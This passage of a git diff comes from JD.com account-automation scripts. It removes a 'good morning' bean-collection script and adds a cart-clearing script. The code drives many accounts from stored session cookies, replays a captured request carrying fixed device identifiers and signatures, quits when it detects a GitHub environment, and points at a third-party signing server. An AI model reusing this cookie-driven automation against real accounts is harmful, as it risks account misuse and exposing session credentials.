console.log(JSON.stringify(err)); - console.log(`function_id:${function_id}`) - $.logErr(err); - } else { - if (safeGet(data)) { - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }, timeout) - }) -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function taskUrl(function_id, body = {}) { - return { - url: `${JD_API_HOST}?functionId=${function_id}&body=${encodeURIComponent(JSON.stringify(body))}&appid=wh5`, - headers: { - "Host": "api.m.jd.com", - "Accept": "*/*", - "Origin": "https://carry.m.jd.com", - "Accept-Encoding": "gzip, deflate, br", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-CN,zh-Hans;q=0.9", - "Referer": "https://carry.m.jd.com/", - "Cookie": cookie - }, - timeout: 10000 - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t, e) { - "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); - class s { - constructor(t) { this.env = t } - send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } - get(t) { return this.send.call(this.env, t) } - post(t) { return this.send.call(this.env, t, "POST") } - } - return new class { - constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } - isNode() { return "undefined" != typeof module && !!module.exports } - isQuanX() { return "undefined" != typeof $task } - isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } - isLoon() { return "undefined" != typeof $loon } - toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } - toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } - getjson(t, e) { - let s = e; - const i = this.getdata(t); - if (i) try { s = JSON.parse(this.getdata(t)) } catch {} - return s - } - setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } - getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } - runScript(t, e) { - return new Promise(s => { - let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); - i = i ? i.replace(/\n/g, "").trim() : i; - let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); - r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; - const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; - this.post(n, (t, e, i) => s(i)) - }).catch(t => this.logErr(t)) - } - loaddata() { - if (!this.isNode()) return {}; { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e); - if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } - } - } - writedata() { - if (this.isNode()) { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e), - r = JSON.stringify(this.data); - s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) - } - } - lodash_get(t, e, s) { - const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); - let r = t; - for (const t of i) - if (r = Object(r)[t], void 0 === r) return s; - return r - } - lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } - getdata(t) { - let e = this.getval(t); - if (/^@/.test(t)) { - const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; - if (r) try { - const t = JSON.parse(r); - e = t ? this.lodash_get(t, i, "") : e - } catch (t) { e = "" } - } - return e - } - setdata(t, e) { - let s = !1; - if (/^@/.test(e)) { - const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; - try { - const e = JSON.parse(h); - this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) - } catch (e) { - const o = {}; - this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) - } - } else s = this.setval(t, e); - return s - } - getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } - setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } - initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } - get(t, e = (() => {})) { - t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { - const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) - }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { - try { - if (t.headers["set-cookie"]) { - const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); - s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar - } - } catch (t) { this.logErr(t) } - }).then(t => { - const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) - }, t => { - const { message: s, response: i } = t; - e(s, i, i && i.body) - })) - } - post(t, e = (() => {})) { - if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); - else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { - const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) - }, t => e(t)); - else if (this.isNode()) { - this.initGotEnv(t); - const { url: s, ...i } = t; - this.got.post(s, i).then(t => { - const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) - }, t => { - const { message: s, response: i } = t; - e(s, i, i && i.body) - }) - } - } - time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } - msg(e = t, s = "", i = "", r) { - const o = t => { - if (!t) return t; - if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; - if ("object" == typeof t) { - if (this.isLoon()) { - let e = t.openUrl || t.url || t["open-url"], - s = t.mediaUrl || t["media-url"]; - return { openUrl: e, mediaUrl: s } - } - if (this.isQuanX()) { - let e = t["open-url"] || t.url || t.openUrl, - s = t["media-url"] || t.mediaUrl; - return { "open-url": e, "media-url": s } - } - if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } - } - }; - if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { - let t = ["", "==============📣系统通知📣=============="]; - t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) - } - } - log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } - logErr(t, e) { - const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); - s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) - } - wait(t) { return new Promise(e => setTimeout(e, t)) } - done(t = {}) { - const e = (new Date).getTime(), - s = (e - this.startTime) / 1e3; - this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) - } - }(t, e) -} \ No newline at end of file diff --git a/jd_goodMorning.js b/jd_goodMorning.js deleted file mode 100644 index fe0ea8bec..000000000 --- a/jd_goodMorning.js +++ /dev/null @@ -1,488 +0,0 @@ -/* -早起福利 -更新时间:2021-7-8 -30 6 * * * jd_goodMorning.js -*/ -const $ = new Env("早起福利") -const ua = `jdltapp;iPhone;3.1.0;${Math.ceil(Math.random()*4+10)}.${Math.ceil(Math.random()*4)};${randomString(40)}` -let cookiesArr = [] -let cookie = '' - -!(async () => { - await requireConfig() - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.cookie = cookie; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await goodMorning() - } - } -})() -function goodMorning() { - return new Promise(resolve => { - $.get({ - url: 'https://api.m.jd.com/client.action?functionId=morningGetBean&area=22_1930_50948_52157&body=%7B%22rnVersion%22%3A%224.7%22%2C%22fp%22%3A%22-1%22%2C%22eid%22%3A%22%22%2C%22shshshfp%22%3A%22-1%22%2C%22userAgent%22%3A%22-1%22%2C%22shshshfpa%22%3A%22-1%22%2C%22referUrl%22%3A%22-1%22%2C%22jda%22%3A%22-1%22%7D&build=167724&client=apple&clientVersion=10.0.6&d_brand=apple&d_model=iPhone12%2C8&eid=eidI1aaf8122bas5nupxDQcTRriWjt7Slv2RSJ7qcn6zrB99mPt31yO9nye2dnwJ/OW%2BUUpYt6I0VSTk7xGpxEHp6sM62VYWXroGATSgQLrUZ4QHLjQw&isBackground=N&joycious=60&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=32280b23f8a48084816d8a6c577c6573c162c174&osVersion=14.4&partner=apple&rfs=0000&scope=01&screen=750%2A1334&sign=0c19e5962cea97520c1ef9a2e67dda60&st=1625354180413&sv=112&uemps=0-0&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJSPYvHJMKdY9TUw/AQc1o/DLA/rOTDwEjG4Ar9s7IY4H6IPf3pAz7rkIVtEeW7XkXSOXGvEtHspPvqFlAueK%2B9dfB7ZbI91M9YYXBBk66bejZnH/W/xDy/aPsq2X3k4dUMOkS4j5GHKOGQO3o2U1rhx5O70ZrLaRm7Jy/DxCjm%2BdyfXX8v8rwKw%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=c99b216a4acd3bce759e369eaeeafd7', - headers: { - 'Cookie': cookie, - 'Accept': '*/*', - 'Connection': 'keep-alive', - 'Accept-Encoding': 'gzip, deflate, br', - 'User-Agent': ua, - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Host': 'api.m.jd.com' - }, - }, (err, resp, data) => { - try { - data = JSON.parse(data) - if(data.data){ - console.log(data.data.bizMsg) - } - if(data.errorMessage){ - console.log(data.errorMessage) - } - } catch (e) { - $.logErr('Error: ', e, resp) - } finally { - resolve(data) - } - }) - }) - } - -function requireConfig() { - return new Promise(resolve => { - notify = $.isNode() ? require('./sendNotify') : ''; - const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - if (jdCookieNode[item]) { - cookiesArr.push(jdCookieNode[item]) - } - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - } else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); - } - console.log(`共${cookiesArr.length}个京东账号\n`) - resolve() - }) -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function randomString(e) { - e = e || 32; - let t = "abcdefhijkmnprstwxyz2345678", - a = t.length, - n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function Env(t, e) { - "undefined" != typeof process && JSON.stringify(process.env).indexOf("GIT_HUB") > -1 && process.exit(0); - class s { - constructor(t) { - this.env = t - } - send(t, e = "GET") { - t = "string" == typeof t ? { - url: t - } : t; - let s = this.get; - return "POST" === e && (s = this.post), new Promise((e, i) => { - s.call(this, t, (t, s, r) => { - t ? i(t) : e(s) - }) - }) - } - get(t) { - return this.send.call(this.env, t) - } - post(t) { - return this.send.call(this.env, t, "POST") - } - } - return new class { - constructor(t, e) { - this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) - } - isNode() { - return "undefined" != typeof module && !!module.exports - } - isQuanX() { - return "undefined" != typeof $task - } - isSurge() { - return "undefined" != typeof $httpClient && "undefined" == typeof $loon - } - isLoon() { - return "undefined" != typeof $loon - } - toObj(t, e = null) { - try { - return JSON.parse(t) - } catch (e) { - return e - } - } - toStr(t, e = null) { - try { - return JSON.stringify(t) - } catch (e) { - return e - } - } - getjson(t, e) { - let s = e; - const i = this.getdata(t); - if (i) try { - s = JSON.parse(this.getdata(t)) - } catch {} - return s - } - setjson(t, e) { - try { - return this.setdata(JSON.stringify(t), e) - } catch { - return !1 - } - } - getScript(t) { - return new Promise(e => { - this.get({ - url: t - }, (t, s, i) => e(i)) - }) - } - runScript(t, e) { - return new Promise(s => { - let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); - i = i ? i.replace(/\n/g, "").trim() : i; - let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); - r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; - const [o, h] = i.split("@"), n = { - url: `http://${h}/v1/scripting/evaluate`, - body: { - script_text: t, - mock_type: "cron", - timeout: r - }, - headers: { - "X-Key": o, - Accept: "*/*" - } - }; - this.post(n, (t, e, i) => s(i)) - }).catch(t => this.logErr(t)) - } - loaddata() { - if (!this.isNode()) return {}; { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e); - if (!s && !i) return {}; { - const i = s ? t : e; - try { - return JSON.parse(this.fs.readFileSync(i)) - } catch (t) { - return {} - } - } - } - } - writedata() { - if (this.isNode()) { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e), - r = JSON.stringify(this.data); - s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) - } - } - lodash_get(t, e, s) { - const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); - let r = t; - for (const t of i) - if (r = Object(r)[t], void 0 === r) return s; - return r - } - lodash_set(t, e, s) { - return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) - } - getdata(t) { - let e = this.getval(t); - if (/^@/.test(t)) { - const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; - if (r) try { - const t = JSON.parse(r); - e = t ? this.lodash_get(t, i, "") : e - } catch (t) { - e = "" - } - } - return e - } - setdata(t, e) { - let s = !1; - if (/^@/.test(e)) { - const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; - try { - const e = JSON.parse(h); - this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) - } catch (e) { - const o = {}; - this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) - } - } else s = this.setval(t, e); - return s - } - getval(t) { - return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null - } - setval(t, e) { - return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null - } - initGotEnv(t) { - this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) - } - get(t, e = (() => {})) { - t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { - "X-Surge-Skip-Scripting": !1 - })), $httpClient.get(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) - })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { - hints: !1 - })), $task.fetch(t).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { - try { - if (t.headers["set-cookie"]) { - const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); - s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar - } - } catch (t) { - this.logErr(t) - } - }).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => { - const { - message: s, - response: i - } = t; - e(s, i, i && i.body) - })) - } - post(t, e = (() => {})) { - if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { - "X-Surge-Skip-Scripting": !1 - })), $httpClient.post(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) - }); - else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { - hints: !1 - })), $task.fetch(t).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => e(t)); - else if (this.isNode()) { - this.initGotEnv(t); - const { - url: s, - ...i - } = t; - this.got.post(s, i).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => { - const { - message: s, - response: i - } = t; - e(s, i, i && i.body) - }) - } - } - time(t, e = null) { - const s = e ? new Date(e) : new Date; - let i = { - "M+": s.getMonth() + 1, - "d+": s.getDate(), - "H+": s.getHours(), - "m+": s.getMinutes(), - "s+": s.getSeconds(), - "q+": Math.floor((s.getMonth() + 3) / 3), - S: s.getMilliseconds() - }; - /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); - for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); - return t - } - msg(e = t, s = "", i = "", r) { - const o = t => { - if (!t) return t; - if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { - "open-url": t - } : this.isSurge() ? { - url: t - } : void 0; - if ("object" == typeof t) { - if (this.isLoon()) { - let e = t.openUrl || t.url || t["open-url"], - s = t.mediaUrl || t["media-url"]; - return { - openUrl: e, - mediaUrl: s - } - } - if (this.isQuanX()) { - let e = t["open-url"] || t.url || t.openUrl, - s = t["media-url"] || t.mediaUrl; - return { - "open-url": e, - "media-url": s - } - } - if (this.isSurge()) { - let e = t.url || t.openUrl || t["open-url"]; - return { - url: e - } - } - } - }; - if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { - let t = ["", "==============📣系统通知📣=============="]; - t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) - } - } - log(...t) { - t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) - } - logErr(t, e) { - const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); - s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) - } - wait(t) { - return new Promise(e => setTimeout(e, t)) - } - done(t = {}) { - const e = (new Date).getTime(), - s = (e - this.startTime) / 1e3; - this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) - } - }(t, e) -} \ No newline at end of file diff --git a/jd_gua_cleancart.js b/jd_gua_cleancart.js new file mode 100644 index 000000000..0f1c08190 --- /dev/null +++ b/jd_gua_cleancart.js @@ -0,0 +1,357 @@ +/* +清空购物车 +更新时间:2022-08-12 +因其他脚本会加入商品到购物车,故此脚本用来清空购物车 +包括预售 +需要算法支持 +默认:不执行 如需要请添加环境变量 +gua_cleancart_Run="true" + +—————————————— +1.@&@ 前面加数字 指定账号pin +如果有中文请填写中文 +2.|-| 账号之间隔开 +3.英文大小写请填清楚 +4.优先匹配账号再匹配* +5.定义不清空的[商品]名称支持模糊匹配 +6.pin@&@ 👉 指定账号(后面添加商品 前面账号[pin] *表示所有账号 +7.|-| 👉 账号之间隔开 +—————————————— + +商品名称规则 +——————gua_cleancart_products———————— +pin2@&@商品1,商品2👉该pin这几个商品名不清空 +pin5@&@👉该pin全清 +pin3@&@不清空👉该pin不清空 +*@&@不清空👉所有账号不请空 +*@&@👉所有账号清空 + +优先匹配账号再匹配* +|-| 👉 账号之间隔开 +有填帐号pin则*不适配 +—————————————— +如果有不清空的一定要加上"*@&@不清空" +防止没指定的账号购物车全清空 + +*/ +let jdSignUrl = 'https://api.nolanstore.top/sign' +let cleancartRun = 'false' +let cleancartProducts = '' +const $ = new Env('清空购物车'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +message = '' + +cleancartRun = $.isNode() ? (process.env.gua_cleancart_Run ? process.env.gua_cleancart_Run : `${cleancartRun}`) : ($.getdata('gua_cleancart_Run') ? $.getdata('gua_cleancart_Run') : `${cleancartRun}`); + +cleancartProducts = $.isNode() ? (process.env.gua_cleancart_products ? process.env.gua_cleancart_products : `${cleancartProducts}`) : ($.getdata('gua_cleancart_products') ? $.getdata('gua_cleancart_products') : `${cleancartProducts}`); + +let productsArr = [] +let cleancartProductsAll = [] +for (let i of cleancartProducts && cleancartProducts.split('|-|')) { + productsArr.push(i) +} +for (let i of cleancartProducts && cleancartProducts.split('|-|')) { + productsArr.push(i) +} +for (let i in productsArr) { + if(productsArr[i].indexOf('@&@') > -1){ + let arr = productsArr[i].split('@&@') + cleancartProductsAll[arr[0]] = arr[1].split(',') + } +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if(cleancartRun !== 'true'){ + console.log('脚本停止\n请添加环境变量[gua_cleancart_Run]为"true"') + return + } + if(!cleancartProducts){ + console.log('脚本停止\n请添加环境变量[gua_cleancart_products]\n清空商品\n内容规则看脚本文件') + return + } + if(jdSignUrl.indexOf("://jd.smiek.tk/") > -1) { + return + } + $.out = false + console.log('\n==此脚本使用的签名接口来自Nolan提供的公益服务,大伙记得给他点赞=='); + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if(cleancartProductsAll[$.UserName]){ + $.cleancartProductsArr = cleancartProductsAll[$.UserName] + }else if(cleancartProductsAll["*"]){ + $.cleancartProductsArr = cleancartProductsAll["*"] + }else $.cleancartProductsArr = false + if($.cleancartProductsArr) console.log($.cleancartProductsArr) + await run(); + if($.out) break + } + } + 